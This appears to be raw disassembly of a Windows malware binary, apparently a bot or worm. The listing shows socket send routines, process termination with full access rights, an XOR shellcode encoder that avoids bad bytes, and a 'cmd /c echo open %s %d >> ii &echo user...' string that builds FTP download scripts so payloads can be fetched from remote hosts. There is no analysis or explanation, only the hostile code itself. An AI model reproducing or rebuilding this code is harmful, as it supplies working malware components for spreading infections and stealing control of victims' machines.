call sub_4012C6
mov eax, [esp+864h+var_824]
mov ecx, [esp+864h+var_828]
push eax
push ecx
lea ecx, [esp+86Ch+var_838]
call sub_4014FB
lea ecx, [esp+864h+var_838]
call sub_4017CB
lea ecx, [esp+864h+var_828]
call sub_4016B8
lea ecx, [esp+864h+var_850]
call sub_4012A8
lea ecx, [esp+864h+var_858]
call sub_4012A8
mov edx, [esp+864h+var_834]
mov eax, [esp+864h+var_838]
push edx
push eax
lea ecx, [esp+86Ch+var_850]
call sub_4014FB
lea ecx, [esp+864h+var_850]
call sub_4010A0
lea ecx, [esp+864h+var_838]
call sub_4016B8
push offset dword_444BB8
lea ecx, [esp+868h+var_858]
call sub_402036
mov ecx, [esp+864h+var_84C]
mov edx, [esp+864h+var_850]
push ecx
push edx
lea ecx, [esp+86Ch+var_858]
call sub_4014FB
lea ecx, [esp+864h+var_858]
call sub_4010A0
lea ecx, [esp+864h+var_850]
call sub_4016B8
push offset dword_443E90
lea ecx, [esp+868h+var_850]
call sub_402036
mov eax, [esp+864h+var_854]
mov ecx, [esp+864h+var_858]
push eax
push ecx
lea ecx, [esp+86Ch+var_850]
call sub_4014FB
lea ecx, [esp+864h+var_850]
call sub_4010A0
lea ecx, [esp+864h+var_858]
call sub_4016B8
push offset dword_444BAC
lea ecx, [esp+868h+var_858]
call sub_402036
mov edx, [esp+864h+var_84C]
mov eax, [esp+864h+var_850]
push edx
push eax
lea ecx, [esp+86Ch+var_858]
call sub_4014FB
lea ecx, [esp+864h+var_858]
call sub_4010A0
lea ecx, [esp+864h+var_850]
call sub_4016B8
push offset dword_444BA8
lea ecx, [esp+868h+var_818]
call sub_402036
mov ecx, [esp+864h+var_854]
mov edx, [esp+864h+var_858]
push ecx
push edx
lea ecx, [esp+86Ch+var_818]
call sub_4014FB
lea ecx, [esp+864h+var_858]
call sub_4016B8
mov eax, [esp+864h+arg_0]
mov ecx, [esp+864h+var_818]
mov edx, [esp+864h+var_814]
pop edi
mov [eax], ecx
pop esi
mov [eax+4], edx
pop ebx
add esp, 858h
retn
; ---------------------------------------------------------------------------
loc_424C15: ; CODE XREF: sub_424840+1Ej
; sub_424840+33j
mov eax, [esp+860h+arg_0]
mov ecx, [esp+860h+var_818]
mov edx, [esp+860h+var_814]
pop esi
mov [eax], ecx
mov [eax+4], edx
pop ebx
add esp, 858h
retn
sub_424840 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 100h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424D40 proc near ; CODE XREF: sub_401AB4j
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_208 = dword ptr -208h
var_204 = dword ptr -204h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
sub esp, 210h
push esi
mov esi, [esp+214h+arg_0]
lea eax, [esp+214h+var_210]
lea ecx, [esp+214h+var_104]
push eax
push ecx
lea edx, [esp+21Ch+var_208]
push 0
lea eax, [esi+1]
push edx
push eax
mov [esp+228h+var_204], esi
mov [esp+228h+var_208], 1
mov [esp+228h+var_100], esi
mov [esp+228h+var_104], 1
mov [esp+228h+var_210], 0Ah
mov [esp+228h+var_20C], 0
nop
call near ptr 71AB2DC0h
cmp eax, 1
jz short loc_424DA9
xor eax, eax
pop esi
add esp, 210h
retn
; ---------------------------------------------------------------------------
loc_424DA9: ; CODE XREF: sub_424D40+5Dj
lea ecx, [esp+214h+var_208]
push ecx
push esi
call sub_436F60
sub_424D40 endp
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_424DC0
pop esi
add esp, 210h
retn
; ---------------------------------------------------------------------------
loc_424DC0: ; CODE XREF: ___:00424DB6j
mov edx, [esp+224h]
mov eax, [esp+220h]
mov ecx, [esp+21Ch]
push edx
push eax
push ecx
push esi
nop
call near ptr 71AB615Ah
pop esi
add esp, 210h
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424E20 proc near ; CODE XREF: sub_4012F3j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, [esp+8+arg_8]
push edi
push esi
nop
call near ptr 71AB2BC0h
mov edi, [esp+0Ch+arg_0]
mov ebx, dword_50FC8C
mov [esp+0Ch+arg_8], eax
push 0
lea eax, [esp+10h+arg_8]
push 4
push eax
push edi
call ebx ; send
cmp eax, 4
jz short loc_424E53
pop edi
pop esi
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
loc_424E53: ; CODE XREF: sub_424E20+2Bj
mov ecx, [esp+0Ch+arg_4]
push 0
push esi
push ecx
push edi
call ebx ; send
xor edx, edx
cmp eax, esi
setz dl
pop edi
pop esi
mov al, dl
pop ebx
retn
sub_424E20 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424E90 proc near ; CODE XREF: sub_4012F8j
var_104 = dword ptr -104h
var_100 = byte ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
sub esp, 104h
push ebx
push ebp
mov ebp, [esp+10Ch+arg_8]
push esi
lea esi, [ebp+41h]
push esi
mov [esp+114h+var_104], esi
call near ptr 77C2C407h
nop
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_424EC3
pop esi
pop ebp
xor al, al
pop ebx
add esp, 104h
retn
; ---------------------------------------------------------------------------
loc_424EC3: ; CODE XREF: sub_424E90+25j
mov ecx, esi
push edi
mov edx, ecx
xor eax, eax
mov edi, ebx
mov esi, offset dword_4448DC
shr ecx, 2
rep stosd
mov ecx, edx
push 85h
and ecx, 3
push offset dword_444854
rep stosb
mov ecx, 0Bh
mov edi, ebx
rep movsd
movsw
movsb
mov [ebx+2Fh], bp
mov eax, dword_44490C
mov [ebx+31h], eax
mov ecx, dword_444910
mov esi, [esp+11Ch+arg_4]
mov [ebx+35h], ecx
mov ecx, ebp
lea eax, [ebx+3Bh]
mov edx, ecx
mov edi, eax
shr ecx, 2
mov [ebx+39h], bp
add eax, ebp
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov ecx, dword_50E140
mov esi, [esp+11Ch+arg_0]
mov [eax], ecx
mov dx, word_50E144
push esi
mov [eax+4], dx
call sub_4012F3
add esp, 0Ch
test al, al
pop edi
jnz short loc_424F68
push ebx
call near ptr 77C2C21Bh
nop
add esp, 4
xor al, al
pop esi
pop ebp
pop ebx
add esp, 104h
retn
; ---------------------------------------------------------------------------
loc_424F68: ; CODE XREF: sub_424E90+C0j
push 0
lea eax, [esp+114h+var_100]
push 100h
push eax
push esi
call sub_401AB4
mov ecx, [esp+120h+var_104]
push ecx
push ebx
push esi
call sub_4012F3
add esp, 1Ch
test al, al
jnz short loc_424FA3
push ebx
nop
call near ptr 77C2C21Bh
add esp, 4
xor al, al
pop esi
pop ebp
pop ebx
add esp, 104h
retn
; ---------------------------------------------------------------------------
loc_424FA3: ; CODE XREF: sub_424E90+FBj
push 0
lea edx, [esp+114h+var_100]
push 100h
push edx
push esi
call sub_401AB4
push ebx
call near ptr 77C2C21Bh
nop
add esp, 14h
mov al, 1
pop esi
pop ebp
pop ebx
add esp, 104h
retn
sub_424E90 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_425020 proc near ; CODE XREF: sub_401811j
var_41C = dword ptr -41Ch
var_418 = dword ptr -418h
var_414 = dword ptr -414h
var_410 = word ptr -410h
var_40E = word ptr -40Eh
var_40A = dword ptr -40Ah
var_406 = dword ptr -406h
var_402 = word ptr -402h
var_400 = byte ptr -400h
var_3FF = byte ptr -3FFh
var_371 = byte ptr -371h
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_9E = dword ptr 0A2h
sub esp, 41Ch
mov ecx, 0FFh
xor eax, eax
push ebp
push esi
push edi
lea edi, [esp+428h+var_3FF]
rep stosd
stosw
stosb
mov ecx, 23h
mov esi, offset sub_444A80
lea edi, [esp+428h+var_400]
rep movsd
movsw
mov ecx, offset byte_447551
movsb
call sub_4017E4
push eax
mov ecx, offset byte_447551
call sub_4017E4
mov ecx, [esp+42Ch+arg_0]
push eax
mov eax, dword_44768F
push eax
push ecx
call sub_401DF7
add esp, 4
lea edx, [esp+434h+var_371]
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
push 400h
push edx
nop
call near ptr 77C3FA76h
add eax, 90h
lea ecx, [esp+444h+var_418]
push eax
lea eax, [esp+448h+var_400]
push eax
push 164h
push offset sub_444918
push ecx
call sub_401BEA
mov eax, [esp+458h+var_414]
xor edi, edi
add esp, 30h
cmp eax, edi
jnz short loc_4250C9
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 41Ch
retn
; ---------------------------------------------------------------------------
loc_4250C9: ; CODE XREF: sub_425020+9Bj
mov ebp, dword_50FC2C
mov [esp+428h+var_41C], edi
loc_4250D3: ; CODE XREF: sub_425020+158j
test edi, edi
jnz loc_42517E
push 6
push 1
push 2
call near ptr 71AB3B91h
nop
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_425161
mov eax, [esp+428h+arg_9E]
xor edx, edx
mov dword ptr [esp+428h+var_40E], edx
push eax
mov [esp+42Ch+var_40A], edx
mov [esp+42Ch+var_410], 2
mov [esp+42Ch+var_406], edx
mov [esp+42Ch+var_402], dx
call ebp ; ntohs
lea ecx, [esp+428h+arg_4]
mov [esp+428h+var_40E], ax
push ecx
nop
call near ptr 71AB2BF4h
lea edx, [esp+428h+var_410]
push 10h
push edx
push esi
mov [esp+28h], eax
nop
call near ptr 71AB406Ah
cmp eax, 0FFFFFFFFh
jz short loc_425156
mov eax, [esp+428h+var_414]
mov ecx, [esp+428h+var_418]
push eax
push ecx
push esi
call sub_4012F8
add esp, 0Ch
and eax, 0FFh
mov edi, eax
loc_425156: ; CODE XREF: sub_425020+11Aj
push esi
nop
call near ptr 71AB9639h
test edi, edi
jnz short loc_42516C
loc_425161: ; CODE XREF: sub_425020+CCj
push 3E8h
nop
call near ptr 2850303h
loc_42516C: ; CODE XREF: sub_425020+13Fj
mov eax, [esp+428h+var_41C]
inc eax
cmp eax, 2
mov [esp+428h+var_41C], eax
jl loc_4250D3
loc_42517E: ; CODE XREF: sub_425020+B5j
lea ecx, [esp+428h+var_418]
call sub_4016B8
test edi, edi
jz short loc_4251AE
sub esp, 0BCh
mov ecx, 2Eh
lea esi, [esp+4E4h+arg_0]
mov edi, esp
rep movsd
movsw
call sub_40114F
add esp, 0BCh
loc_4251AE: ; CODE XREF: sub_425020+169j
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 41Ch
retn
sub_425020 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_425230 proc near ; CODE XREF: sub_4013C5j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_4]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov edi, [esp+4+arg_0]
not ecx
dec ecx
mov edx, ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
pop edi
lea eax, [ecx+edx*2+0C1h]
retn
sub_425230 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_425270 proc near ; CODE XREF: sub_40178Aj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_8]
push esi
mov esi, [esp+8+arg_C]
push esi
push ebx
call sub_4013C5
mov ecx, [esp+10h+arg_4]
add esp, 8
cmp eax, ecx
mov [esp+8+arg_8], eax
jbe short loc_425295
pop esi
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_425295: ; CODE XREF: sub_425270+1Ej
push ebp
push edi
or ecx, 0FFFFFFFFh
mov edi, ebx
xor eax, eax
mov ebp, [esp+10h+arg_0]
repne scasb
not ecx
dec ecx
mov edi, esi
mov edx, ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
mov esi, offset dword_444CA8
mov eax, ecx
mov edi, ebp
lea ecx, [eax+edx+12h]
mov dword_444D0C, ecx
lea ecx, [eax+1]
mov dword_444D2D, ecx
lea ecx, [eax+17h]
mov dword_444D25, ecx
mov ecx, 0FFFFFFEDh
sub ecx, eax
mov dword_444D3B, ecx
mov ecx, 1Dh
rep movsd
mov ecx, edx
mov esi, ebx
mov ebx, ecx
lea edi, [ebp+74h]
shr ecx, 2
rep movsd
mov ecx, ebx
add edx, 74h
and ecx, 3
rep movsb
mov esi, dword_444D1C
lea ecx, [edx+ebp]
add edx, 5
mov [ecx], esi
mov bl, byte_444D20
mov esi, [esp+10h+arg_C]
lea edi, [edx+ebp]
mov [ecx+4], bl
mov ecx, eax
mov ebx, ecx
add edx, eax
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
mov esi, dword_444D21
lea ecx, [edx+ebp]
add edx, 10h
mov [ecx], esi
mov esi, dword_444D25
lea edi, [edx+ebp]
mov [ecx+4], esi
mov esi, dword_444D29
mov [ecx+8], esi
mov esi, dword_444D2D
mov [ecx+0Ch], esi
mov esi, [esp+10h+arg_C]
mov ecx, eax
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
lea edi, [edx+eax]
mov eax, [esp+10h+arg_8]
add edi, ebp
mov ecx, 0Eh
mov esi, offset byte_444D31
rep movsd
pop edi
pop ebp
pop esi
pop ebx
retn
sub_425270 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4253E0 proc near ; CODE XREF: sub_402162j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_4013C5
push eax
call sub_4017BC
add esp, 0Ch
retn
sub_4253E0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_425410: ; CODE XREF: ___:00401735j
push ebx
mov ebx, [esp+10h]
push ebp
push edi
mov edi, [esp+1Ch]
push edi
push ebx
call sub_402162
mov ebp, [esp+1Ch]
add esp, 8
cmp eax, ebp
jbe short loc_425433
pop edi
pop ebp
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_425433: ; CODE XREF: ___:0042542Bj
cmp eax, 0FFFFh
jbe short loc_425440
pop edi
pop ebp
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_425440: ; CODE XREF: ___:00425438j
push esi
push edi
push ebx
call sub_4013C5
add eax, 101h
push eax
nop
call near ptr 77C2C407h
add esp, 0Ch
mov esi, eax
push edi
push ebx
push edi
push ebx
call sub_4013C5
add esp, 8
push eax
push esi
call sub_40178A
push eax
mov eax, [esp+28h]
push esi
push ebp
push eax
call sub_401B77
push esi
mov edi, eax
nop
call near ptr 77C2C21Bh
add esp, 24h
mov eax, edi
pop esi
pop edi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4254B0 proc near ; CODE XREF: sub_4017BCj
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test cl, cl
jnz short loc_4254B9
inc ecx
loc_4254B9: ; CODE XREF: sub_4254B0+6j
mov eax, 0FFh
cmp eax, ecx
sbb eax, eax
and eax, 2
add eax, 15h
add eax, ecx
retn
sub_4254B0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4254E0 proc near ; CODE XREF: sub_401B77j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_C]
cmp bl, 0Ah
jz short loc_4254F8
cmp bl, 0Dh
jz short loc_4254F8
cmp bl, 5Ch
jz short loc_4254F8
test bl, bl
jnz short loc_4254F9
loc_4254F8: ; CODE XREF: sub_4254E0+8j
; sub_4254E0+Dj ...
inc ebx
loc_4254F9: ; CODE XREF: sub_4254E0+16j
cmp ebx, 0FFh
jbe short loc_42551C
mov eax, ebx
shr eax, 8
cmp al, 0Ah
jz short loc_425516
cmp al, 0Dh
jz short loc_425516
cmp al, 5Ch
jz short loc_425516
test al, al
jnz short loc_42551C
loc_425516: ; CODE XREF: sub_4254E0+28j
; sub_4254E0+2Cj ...
add ebx, 100h
loc_42551C: ; CODE XREF: sub_4254E0+1Fj
; sub_4254E0+34j
push ebx
call sub_4017BC
mov ecx, [esp+8+arg_4]
add esp, 4
cmp eax, ecx
mov [esp+4+arg_C], eax
jbe short loc_425535
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_425535: ; CODE XREF: sub_4254E0+4Fj
cmp eax, 0FFFFh
jbe short loc_425540
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_425540: ; CODE XREF: sub_4254E0+5Aj
mov al, byte_50E148
xor edx, edx
push ebp
mov ebp, [esp+8+arg_8]
test ebx, ebx
push esi
jbe short loc_425570
loc_425551: ; CODE XREF: sub_4254E0+8Ej
mov cl, [edx+ebp]
xor cl, al
jz short loc_425567
cmp cl, 0Ah
jz short loc_425567
cmp cl, 0Dh
jz short loc_425567
cmp cl, 5Ch
jnz short loc_42556B
loc_425567: ; CODE XREF: sub_4254E0+76j
; sub_4254E0+7Bj ...
inc al
xor edx, edx
loc_42556B: ; CODE XREF: sub_4254E0+85j
inc edx
cmp edx, ebx
jb short loc_425551
loc_425570: ; CODE XREF: sub_4254E0+6Fj
cmp ebx, 0FFh
push edi
mov byte_50E148, al
ja short loc_4255A3
mov edx, [esp+10h+arg_0]
mov ecx, 5
mov esi, offset loc_444C90
mov edi, edx
mov byte_444C9D, bl
mov byte_444CA1, al
rep movsd
movsb
mov esi, 15h
jmp short loc_4255C9
; ---------------------------------------------------------------------------
loc_4255A3: ; CODE XREF: sub_4254E0+9Cj
mov edx, [esp+10h+arg_0]
mov ecx, 5
mov esi, offset loc_444C78
mov edi, edx
mov word_444C86, bx
mov byte_444C8B, al
rep movsd
movsw
movsb
mov esi, 17h
loc_4255C9: ; CODE XREF: sub_4254E0+C1j
xor ecx, ecx
pop edi
test ebx, ebx
jbe short loc_4255DF
add esi, edx
loc_4255D2: ; CODE XREF: sub_4254E0+FDj
mov dl, [ecx+ebp]
xor dl, al
mov [esi+ecx], dl
inc ecx
cmp ecx, ebx
jb short loc_4255D2
loc_4255DF: ; CODE XREF: sub_4254E0+EEj
mov eax, [esp+0Ch+arg_C]
pop esi
pop ebp
pop ebx
retn
sub_4254E0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_425640 proc near ; CODE XREF: sub_401E24j
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
lea eax, [ecx+ecx*2]
shl eax, 4
sub eax, ecx
xor ecx, ecx
lea eax, [eax+eax*2]
mov dword_4491DF[eax*4], ecx
mov dword_4491CB[eax*4], ecx
mov dword_4491CF[eax*4], ecx
mov dword_4491D3[eax*4], ecx
mov dword_4491D7[eax*4], ecx
mov dword_4491DB[eax*4], ecx
mov byte_448FCB[eax*4], cl
mov byte_4491E3[eax*4], cl
retn
sub_425640 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4256B0 proc near ; CODE XREF: sub_401370j
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push ebx
push ebp
xor ebx, ebx
xor ebp, ebp
cmp ecx, ebx
jle loc_425767
cmp ecx, 400h
jge loc_425767
lea eax, [ecx+ecx*2]
push esi
shl eax, 4
sub eax, ecx
push edi
push ebx
lea esi, [eax+eax*2]
mov eax, dword_4491DF[esi*4]
push eax
nop
call near ptr 277074Fh
cmp dword_4491DF[esi*4], ebx
jz short loc_4256F8
mov ebp, 1
loc_4256F8: ; CODE XREF: sub_4256B0+41j
mov dword_4491DF[esi*4], ebx
mov dword_4491CB[esi*4], ebx
mov dword_4491CF[esi*4], ebx
mov eax, dword_4491D3[esi*4]
cmp eax, ebx
jbe short loc_425721
push eax
call sub_401C6C
add esp, 4
loc_425721: ; CODE XREF: sub_4256B0+66j
mov edi, dword_50FC88
mov dword_4491D3[esi*4], ebx
mov byte_448FCB[esi*4], bl
mov byte_4491E3[esi*4], bl
mov ecx, dword_4491D7[esi*4]
push ecx
call edi ; closesocket
mov dword_4491D7[esi*4], ebx
mov edx, dword_4491DB[esi*4]
lea esi, ds:4491DBh[esi*4]
push edx
call edi ; closesocket
mov [esi], ebx
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_425767: ; CODE XREF: sub_4256B0+Cj
; sub_4256B0+18j
mov eax, ebp
pop ebp
pop ebx
retn
sub_4256B0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4257A0 proc near ; CODE XREF: sub_401D93j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push ebp
push esi
push edi
xor ebp, ebp
xor edi, edi
mov esi, offset dword_4491CF
loc_4257B1: ; CODE XREF: sub_4257A0+52j
mov eax, [esp+10h+arg_0]
mov ecx, [esi-4]
cmp ecx, eax
jnz short loc_4257E5
test ebx, ebx
jle short loc_4257D7
cmp [esi], ebx
jz short loc_4257C8
cmp edi, ebx
jnz short loc_4257E5
loc_4257C8: ; CODE XREF: sub_4257A0+22j
push edi
call sub_401370
add esp, 4
test eax, eax
jz short loc_4257E5
jmp short loc_4257E4
; ---------------------------------------------------------------------------
loc_4257D7: ; CODE XREF: sub_4257A0+1Ej
push edi
call sub_401370
add esp, 4
test eax, eax
jz short loc_4257E5
loc_4257E4: ; CODE XREF: sub_4257A0+35j
inc ebp
loc_4257E5: ; CODE XREF: sub_4257A0+1Aj
; sub_4257A0+26j ...
add esi, 234h
inc edi
cmp esi, offset byte_4D61CF
jl short loc_4257B1
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_4257A0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_425820 proc near ; CODE XREF: sub_401C6Cj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
push eax
push 0
push 1F0FFFh
mov edi, 1
nop
call near ptr 2790000h
mov esi, eax
test esi, esi
jz short loc_425855
push 0
push esi
nop
call near ptr 2710000h
test eax, eax
jnz short loc_425855
push esi
xor edi, edi
nop
call near ptr 2860000h
loc_425855: ; CODE XREF: sub_425820+1Dj
; sub_425820+2Aj
mov eax, edi
pop edi
pop esi
retn
sub_425820 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_425870 proc near ; CODE XREF: sub_401483j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
xor eax, eax
mov ecx, offset dword_4491CB
loc_42587B: ; CODE XREF: sub_425870+1Cj
cmp [ecx], edx
jnz short loc_425880
inc eax
loc_425880: ; CODE XREF: sub_425870+Dj
add ecx, 234h
cmp ecx, offset byte_4D61CB
jl short loc_42587B
retn
sub_425870 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4258A0 proc near ; CODE XREF: sub_401D8Ej
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
push esi
xor esi, esi
xor eax, eax
mov ecx, offset dword_4491CB
loc_4258AE: ; CODE XREF: sub_4258A0+1Fj
cmp [ecx], edx
jz short loc_4258C3
add ecx, 234h
inc eax
cmp ecx, offset byte_4D61CB
jl short loc_4258AE
mov eax, esi
loc_4258C3: ; CODE XREF: sub_4258A0+10j
pop esi
retn
sub_4258A0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4258E0 proc near ; CODE XREF: sub_401BD6j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset byte_448FCB
loc_4258E8: ; CODE XREF: sub_4258E0+18j
cmp byte ptr [eax], 0
jz short loc_4258FE
add eax, 234h
inc edi
cmp eax, offset dword_4D5FCB
jl short loc_4258E8
mov eax, edi
pop edi
retn
; ---------------------------------------------------------------------------
loc_4258FE: ; CODE XREF: sub_4258E0+Bj
lea eax, [edi+edi*2]
push esi
shl eax, 4
sub eax, edi
push 1FFh
lea eax, [eax+eax*2]
lea esi, ds:448FCBh[eax*4]
mov eax, [esp+0Ch+arg_0]
push eax
push esi
call near ptr 77C47A90h
nop
mov ecx, [esp+14h+arg_4]
mov edx, [esp+14h+arg_8]
mov [esi+200h], ecx
mov dword ptr [esi+204h], 0
add esp, 0Ch
mov dword ptr [esi+208h], 0
mov [esi+20Ch], edx
mov byte ptr [esi+218h], 0
mov eax, edi
pop esi
pop edi
retn
sub_4258E0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_425980 proc near ; CODE XREF: sub_401609j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_425980
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 7
push 0Eh
push 9
push 10h
push 4Fh
push 13h
push 0Fh
mov esi, ecx
push 4
lea eax, [esp+68h+var_3C]
push 4
push eax
mov dword ptr [esi+118h], 0
mov byte ptr [esi+11Ch], 0
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017E4
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
sub_425980 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 10h
push 4
push 15h
push 4Fh
push 13h
push 0Fh
push 4
lea edx, [esp+28h]
push 4
push edx
call sub_4019B5
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 1
call sub_4017E4
push eax
lea eax, [esi+32h]
push eax
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 0Eh
push 19h
push 13h
push 4Fh
push 13h
push 0Fh
push 4
lea ecx, [esp+28h]
push 4
push ecx
call sub_4019B5
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 2
call sub_4017E4
lea edx, [esi+60h]
push eax
push edx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 10h
push 0Fh
push 14h
push 13h
push 4Fh
push 13h
push 0Fh
push 4
lea eax, [esp+2Ch]
push 4
push eax
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 3
call sub_4017E4
lea ecx, [esi+0EAh]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 0Eh
push 19h
push 13h
push 4
push 13h
push 4Fh
push 13h
push 0Fh
push 4
lea edx, [esp+48h]
push 4
push edx
call sub_4019B5
add esp, 30h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 4
call sub_4017E4
add esi, 8Eh
push eax
push esi
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+20h]
mov [esp+40h], edi
call sub_401226
mov ecx, [esp+38h]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 80h dup(0CCh)
; ---------------------------------------------------------------------------
loc_425BD0: ; CODE XREF: ___:loc_401B6Dj
push 0FFFFFFFFh
push offset loc_43B6A4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 34h
push ebx
push ebp
push esi
mov esi, [esp+50h]
mov ebx, ecx
push edi
lea ebp, [esi+7Eh]
lea ecx, [ebx+60h]
mov [esp+54h], ebp
call sub_4014D3
push eax
mov ecx, ebp
call sub_4012EE
mov edi, dword_50FB08
test eax, eax
jnz loc_425D68
push 95h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+10h], eax
xor ebp, ebp
cmp eax, ebp
mov [esp+4Ch], ebp
jz short loc_425C3B
mov ecx, eax
call sub_401DD9
mov ebp, eax
loc_425C3B: ; CODE XREF: ___:00425C30j
push offset asc_443600 ; " "
lea eax, [esp+18h]
push 1
mov byte ptr [ebx+11Ch], 1
push eax
mov ecx, esi
mov dword ptr [esp+58h], 0FFFFFFFFh
mov [ebp+91h], ebx
call sub_4016AE
push eax
lea ecx, [ebp+3Bh]
mov dword ptr [esp+50h], 1
call sub_401FBE
lea ecx, [esp+14h]
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea ecx, [esp+18h]
push 2
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 2
call sub_4017E4
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+50h], eax
